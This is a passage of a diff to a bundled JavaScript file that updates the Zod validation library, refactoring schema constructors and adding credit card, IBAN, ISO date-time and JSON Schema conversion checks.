inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -67694,6 +72317,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -67733,8 +72372,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -67843,6 +72482,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -67858,10 +72511,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -67871,11 +72527,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -67921,14 +72595,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -67959,28 +72627,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -68050,41 +72743,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -68094,53 +72797,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -68218,13 +72922,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -68238,6 +72955,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -68261,13 +72979,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -68280,6 +72997,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -68299,6 +73017,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -68319,7 +73038,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -68400,6 +73119,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -68415,21 +73135,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -68545,7 +73264,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -68682,8 +73401,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -68723,7 +73449,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -68749,7 +73475,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -68839,6 +73590,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -68849,7 +73606,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -68857,6 +73614,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -68949,13 +73898,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -68972,6 +73923,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -69005,10 +73960,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -69039,21 +73994,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -69080,15 +74024,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -69096,13 +74076,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : 